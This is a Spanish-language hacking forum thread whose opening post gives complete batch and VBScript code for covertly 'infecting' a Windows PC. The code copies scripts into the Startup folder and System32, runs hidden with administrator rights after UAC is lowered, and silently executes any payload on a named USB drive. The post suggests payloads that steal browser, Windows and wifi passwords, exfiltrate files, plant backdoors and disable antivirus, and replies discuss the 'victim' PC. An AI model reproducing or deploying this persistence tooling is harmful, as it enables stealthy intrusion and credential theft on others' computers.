send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Batch] - Ejecutar automaticamente un payload desde USB

  • 3 Respuestas
  • 5998 Vistas

0 Usuarios y 3 Visitantes están viendo este tema.

Desconectado Hello_World

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
  • Twitter: twitter.com/H3LL0WORLD
« en: Mayo 08, 2016, 12:52:14 pm »
Hello, World.

Quizas muchos aquí conozcan o hayan oido acerca de la USB Rubber Ducky y su peculiar caracteristica de auto-ejecutar payloads con solo conectarla en una computadora o cualquier dispositivo que se pueda manejar usando un teclado; ya que esta emula ser uno.

Bueno, hoy veremos como hacer algo similar aunque sin gastar ni un dolar (bueno, necesitaremos una USB).

El codigo a usar seria el siguiente:
Esta es una versión comentada, ademas de que se toma la molestia de imprimirnos si ha detectado o no la USB
(Espero que se explique por si mismo o sino preguntar en los comentarios D:)

Código: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
REM *** %WINDIR%/SYSTEM32 ***
@ECHO OFF
:WHILE
CLS
REM *** Darle a la variable USBDrive la letra de la Usb en el caso de que haya una Usb con el nombre indicado ***
for /f "tokens=3 delims= " %%A in ('ECHO list volume ^| diskpart ^| findstr "HELLOWORLD"') do (set USBDrive=%%A:)

REM *** Si la variable esta vacia espera 3 segundos y vuelve a comprobar ***
if [%USBDrive%] EQU [] (

ECHO [*] USB:      NO!
TIMEOUT>NUL /T 0
ECHO [*] PAYLOAD:  NO!
TIMEOUT>NUL /T 3
GOTO :WHILE

REM *** En el caso de que la variable no este vacia (Significa que tiene la letra de nuestra USB) ***
REM *** Ademas de que exista el payload que vamos a ejecutar (Esto evitará que nos muestre algun error, en el caso de que intentemos ejecutar un payload que no existe) ***
) else if exist %USBDrive%\Payload.bat (

ECHO [*] USB:      OK!
TIMEOUT>NUL /T 0
ECHO [*] PAYLOAD:  OK!

REM *** Entonces 'Rompe' el bucle y ejecutamos el payload... ***
GOTO :BREAK

REM *** De no cumplirse las anteriores condiciones (Significa que la USB con el nombre esta insertada, pero el payload no existe) ***
) ELSE (

ECHO [*] USB:      OK!
TIMEOUT>NUL /T 0
ECHO [*] PAYLOAD:  NO!

TIMEOUT>NUL /t 3
SET USBDrive=
GOTO :WHILE
)

:BREAK

REM *** Aqui es cuando se ejecuta el payload  ***
REM *** EJECUTAR PAYLOAD OCULTO *** wscript.exe Ocultar.vbs %USBDrive%\Payload.bat

START %USBDrive%\Payload.bat

REM ** ESPERA 90 SEGUNDOS Y VUELVE A COMPROBAR, ESTO HACE QUE PODAMOS INSERTAR TANTAS VECES COMO QUERRAMOS LA USB (CON PAYLOADs DIFERENTES), SIN NECESIDAD DE ESPERAR A QUE LA PC SE REINICIE ***
CLS
ECHO PAYLOAD EJECUTADO
TIMEOUT>NUL /T 0
ECHO ESPERANDO 90 SEGUNDOS PARA VOLVER A COMPROBAR
TIMEOUT>NUL /NOBREAK /t 90

REM *** RESETEA EL VALOR DE LA VARIABLE ***
SET USBDrive=
GOTO :WHILE

Cuando no hay ninguna USB con el nombre indicado:


Cuando hay una USB con el nombre indicado, pero no existe el "payload.bat"


Ahora solo faltaria hacer que se ejecute al inicio de Windows y de preferencia en segundo plano.
Bien, usaremos este script de windows para ejecutar en segundo plano al siguiente bat.
Este lo pondremos en la ruta: "%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp\"

Código: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
set objshell = createobject("wscript.shell")
objshell.run "C:/Windows/System32/Ejecutar.bat",vbhide

Con el archivo "Ejecutar.bat" nos encargaremos de ejecutar el archivo de espera "Esperar.bat" con permisos de administrador y en segundo plano.
Asi el payload (payload.bat) no solo se ejecutará en segundo plano sino que tambien se ejecutará con permisos de administrador.

Código: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
PowerShell Start %WINDIR%/System32/Esperar.bat -Verb runAs -WindowStyle Hidden

Para esto es recomendado cambiar la configuracion del control de cuentas de usuario "UAC"
Podemos ir al panel de control/bla-bla-bla/bla-bla-bla/UAC
o
presionamos WIN + R y escribimos UserAccountControlSettings.exe


Lo ponemos en la parte inferior  :)


La versión 'final' para el archivo "Esperar.bar" seria esta (la otra estaba comentada y configurada para 'pruebas').
Como podran ver es claramente una versión simplificada.

Código: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
REM *** %WINDIR%/SYSTEM32 ***
:WHILE
for /f "tokens=3 delims= " %%A in ('ECHO list volume ^| diskpart ^| findstr "MIUSB"') do (set USBDrive=%%A:)
if [%USBDrive%] EQU [] (
TIMEOUT /T 3
GOTO :WHILE ) else if exist %USBDrive%\Payload.bat (
GOTO :BREAK) ELSE (
TIMEOUT /t 3
SET USBDrive=
GOTO :WHILE)

:BREAK
wscript.exe Ocultar.vbs %USBDrive%\Payload.bat

TIMEOUT /t 90
SET USBDrive=
GOTO :WHILE

Por si no lo notaron, para ejecutar el payload usaremos otro script de windows llamado "Ocultar.vbs".
Espero el nombre sea suficientemente descriptivo :D

Código: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False

Hasta aquí ya quedaria todo funcionando correctamente (en segundo plano e iniciando con windows)
Pero, copiar cada archivo a su ruta seria algo tedioso y la intencion es usar el menor tiempo posible y mientras se pueda ¿Por qué no?.

Nuevamente con la ayuda de un script de windows "Copiar.vbs" ejecutaremos un segundo en segundo plano el cual ya explicaré su función.

Código: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
set objshell = createobject("wscript.shell")
objshell.run "Run.bat",vbhide

El archivo "Run.bat" será este:
Código: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
REM  UBICACION --> "CARPETA RAIZ USB"
REM Esto no es necesario, pero ... pero bueno es costumbre
@ECHO OFF & CLS

REM Le pasamos el valor del comando "CD" (nuestra ubicacion actual) a la variable "HERE"
FOR /F "TOKENS=*" %%%% in ('CD') DO (SET HERE=%%~%%)

REM Lo guardamos en un documento de texto para importarlo para luego saber la ruta de los archivos ya que al ejecutar como administrador un bat, nos cambia el directorio a "%WINDIR%\System32\"
ECHO %HERE%Docs>%tmp%\Current.txt

REM Usamos powershell para ejecutar como administrador un nuevo bat llamado "Copiar.bat" el cual se encuentra junto con los demas (arranque.vbs, ejecutar.bat, esperar.bat y ocultar.vbs) en la carpeta "Docs"
PowerShell Start %HERE%/Docs/Copiar.bat -Verb runAs -WindowStyle Hidden
EXIT

El archivo "Copiar.bat" seria:
Código: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
REM Importamos la ubicación desde el archivo creado anteriormente
for /f "tokens=*" %%%% in ('More %tmp%\Current.txt') do (set HERE=%%~%%) & Del /q "%tmp%\Current.txt"

REM Nombres de los ficheros a copiar
Set F1=Arranque.vbs
Set F2=Ocultar.vbs
Set F3=Ejecutar.bat
Set F4=Esperar.bat

REM Copiamos los archivos a sus respectivar rutas
REM La unicar ruta 'obligatoria' es la de inicio
Copy "%HERE%\%F1%" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp\%F1%"
Copy "%HERE%\%F2%" "%WinDir%\System32\%F2%
Copy "%HERE%\%F3%" "%WinDir%\System32\%F3%
Copy "%HERE%\%F4%" "%WinDir%\System32\%F4%
REM Importamos la ubicación desde el archivo creado anteriormente
for /f "tokens=*" %%%% in ('More %tmp%\Current.txt') do (set HERE=%%~%%) & Del /q "%tmp%\Current.txt"

REM Nombres de los ficheros a copiar
Set F1=Arranque.vbs
Set F2=Ocultar.vbs
Set F3=Ejecutar.bat
Set F4=Esperar.bat

REM Copiamos los archivos a sus respectivar rutas
REM La unicar ruta 'obligatoria' es la de inicio
Copy "%HERE%\%F1%" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp\%F1%"
Copy "%HERE%\%F2%" "%WinDir%\System32\%F2%
Copy "%HERE%\%F3%" "%WinDir%\System32\%F3%
Copy "%HERE%\%F4%" "%WinDir%\System32\%F4%

REM Ejecutamos el archivo de arranque; asi quedará funcionando desde ese momento.
"%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp\%F1%"

Exit
REM Ejecutamos el archivo de arranque; asi quedará funcionando desde ese momento.
"%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp\%F1%"

Exit

Finalmente, todo lo que debemos hacer es poner el nombre de nuestra USB en el archivo "Esperar.bat" y hacer doble clic en el archivo "Copiar.vbs"

Como resultado final una vez 'infectado' un ordenador podremos correr un payload con solo conectar la USB, en segundo plano y con permisos de administrador.

¿Que podemos hacer?

Lo que nuestro conocimiento nos permita  8).

Ejms:

[ESTOS 4 PAYLOADS Y SUS DEMOS LAS PUEDES ENCONTRAR EN ESTA LISTA DE REPRODUCCION EN YT]

   Robar contraseñas de navegadores
   Robar contraseñas de windows
   Extraer contraseñas de las redes wifi
   Copiar o extraer archivos

[TAMBIEN...]
   Crear backdoors
   Instalar malware, spyware
   Desactivar el AV
   Tirarse la PC
   Etc...

¿Desventajas?

El unico problema seria que la primera vez tenemos que iniciar el script manualmente, pero vamos; solo un par de clics y es TODO.

Lista de reproduccion con demostración, explicación, configuracion y ejecución de payloads


Saludos!!

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5283
  • Actividad:
    35%
  • Reputación 28
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #1 en: Mayo 08, 2016, 02:54:21 pm »
Muy pero muy bueno bro!
Mil gracias por el aporte! Te felicito por el material!

Saludos!
ANTRAX


Desconectado David Bassara

  • *
  • Underc0der
  • Mensajes: 2
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Agosto 18, 2017, 02:28:15 am »
Gracias Bro!, es genial lo que aportaste, pero tengo la duda para ejecutarlo por primera vez toca ejecutarlo como admin manualmente en el PC "victima"?

Desconectado grep

  • *
  • Underc0der
  • Mensajes: 178
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
    • Grep's personal site
« Respuesta #3 en: Agosto 19, 2017, 02:12:47 pm »
Para que funcione como debe es necesario que se deshabilite la funcionalidad UAC (User Account Control).

Si esto no se hace el usuario va a ser notificado por cada vez que intente ejecutarse el script Ejecutar.bat (porque intenta ejecutar Esperar.bat en modo privilegiado) y por cada vez que intente ejecutarse Esperar.bat (porque el comando diskpart es una aplicacion que puede hacer cambios en el equipo y porque Payload.bat posiblemente necesite los privilegios de administrador).

Saludos

 

¿Te gustó el post? COMPARTILO!



""MSN"" en batch

Iniciado por Elle Lawliet

Respuestas: 6
Vistas: 2111
Último mensaje Julio 18, 2011, 01:35:47 am
por JaAViEr
[Bash] Keylogger para robo de password de root desde session de usuario estandar

Iniciado por B3N

Respuestas: 2
Vistas: 2165
Último mensaje Junio 25, 2015, 09:34:52 pm
por B3N
MD5 - SHA1 Decrypter Underc0de desde la Terminal

Iniciado por L0ki

Respuestas: 0
Vistas: 1545
Último mensaje Marzo 27, 2013, 06:51:15 pm
por L0ki
[Código-Batch] Consola de Comandos Versión Arcoiris - JaAViEr

Iniciado por JaAViEr

Respuestas: 0
Vistas: 1304
Último mensaje Julio 17, 2011, 05:29:39 am
por JaAViEr
[Código-Batch] Usuarios del PC & Procesos Ejecución - WMIC - JaAViEr

Iniciado por JaAViEr

Respuestas: 0
Vistas: 1058
Último mensaje Julio 17, 2011, 05:21:18 am
por JaAViEr